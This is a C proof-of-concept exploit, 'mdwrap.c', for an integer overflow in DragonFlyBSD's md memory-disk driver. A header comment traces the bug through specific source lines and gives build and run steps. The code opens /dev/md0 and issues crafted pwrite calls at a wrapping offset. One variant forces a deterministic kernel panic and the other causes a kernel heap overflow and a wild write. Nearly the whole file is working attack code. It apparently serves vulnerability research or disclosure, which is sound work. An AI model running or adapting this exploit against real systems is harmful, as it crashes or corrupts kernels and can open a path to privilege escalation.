DF-4829 / mdwrap.c
/* * DF-4829 โ DragonFlyBSD sys/dev/disk/md/md.c * mdstrategy_malloc() sector-array growth integer overflow. * * md.c:253 secno = (unsigned)(bio->bio_offset >> DEV_BSHIFT); * -> 64-bit byte offset truncated to a 32-bit sector number. * md.c:303 secpp = kmalloc((secno + nsec + 1) * sizeof(u_char *), ...); * -> 32-bit unsigned addition wraps; a write whose last sector * index is 2^32-1 computes an allocation size of 0 * (kmalloc(0) returns ZERO_LENGTH_PTR == (void *)-8), or with * a 1024-byte transfer a size of 2 (a real 16-byte chunk). * md.c:306 bcopy(sc->secp, secpp, sc->nsecp * sizeof(u_char *)); * -> variant A: bcopy to (void*)-8 => instant kernel fault * variant B: bcopy of nsecp*8 bytes into a 16-byte chunk * => heap overflow with kernel-pointer content * md.c:310 secpp = &sc->secp[secno]; + md.c:315/323 *secpp = ... * -> wild write at secp + 0xFFFFFFFF*8 (~+32 GB) in the same * request (unavoidable on every wrapped growth). * * Trigger: open("/dev/md0") (root:operator 0640) and pwrite() a * NON-UNIFORM 512-byte buffer at byte offset 0x1FFFFFFE00 * (== 0xFFFFFFFF << 9). physio (kern_physio.c:69) passes uio_offset * straight through as bio_offset โ no clamp against media size for a raw * cdev โ so mdstrategy_malloc sees secno == 0xFFFFFFFF. * * Variants: * -A 512-byte non-uniform pwrite @ 0x1FFFFFFE00 -> kmalloc(0) * -> bcopy to (void*)-8 -> fatal page fault (deterministic panic). * -B pre-grow nsecp (pwrite @ 4 MiB), then 1024-byte non-uniform pwrite * @ 0x1FFFFFFE00 -> kmalloc(16) real chunk -> 65 KB heap overflow of * kernel pointers, then wild write at +32 GB. * * Build: cc -O2 -o mdwrap mdwrap.c * Run: ./mdwrap A|B */ #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #define WRAP_OFF 0x1FFFFFFE00ULL /* (u_int)0xFFFFFFFF << 9 */ static void grow(int fd) /* grow sc->nsecp to 8193 entries */ { char buf[512]; memset(buf, 0x5a, sizeof(buf)); if (pwrite(fd, buf, sizeof(buf), 4 * 1024 * 1024) != sizeof(buf)) { perror("grow pwrite"); exit(1); } printf("[*] grew nsecp to 8193 (write @ 4MiB)\n"); } int main(int argc, char **argv) { int fd; char buf[1024]; const char *mode = argc > 1 ? argv[1] : "A"; fd = open("/dev/md0", O_RDWR); if (fd < 0) { perror("open /dev/md0"); return 1; } printf("[*] opened /dev/md0, mode %s\n", mode); /* non-uniform content => write path takes the grow branch */ memset(buf, 0xaa, sizeof(buf)); buf[1] = 0x55; if (mode[0] == 'B') { grow(fd); printf("[*] firing variant B: 1024B pwrite @ 0x%llx " "(wrap -> kmalloc(16) heap overflow + wild write)\n", (unsigned long long)WRAP_OFF); fflush(stdout); pwrite(fd, buf, 1024, (off_t)WRAP_OFF); } else { printf("[*] firing variant A: 512B pwrite @ 0x%llx " "(wrap -> kmalloc(0) -> bcopy to (void*)-8)\n", (unsigned long long)WRAP_OFF); fflush(stdout); pwrite(fd, buf, 512, (off_t)WRAP_OFF); } printf("[!] survived โ pwrite returned errno=%d (no panic)\n", errno); return 0; } |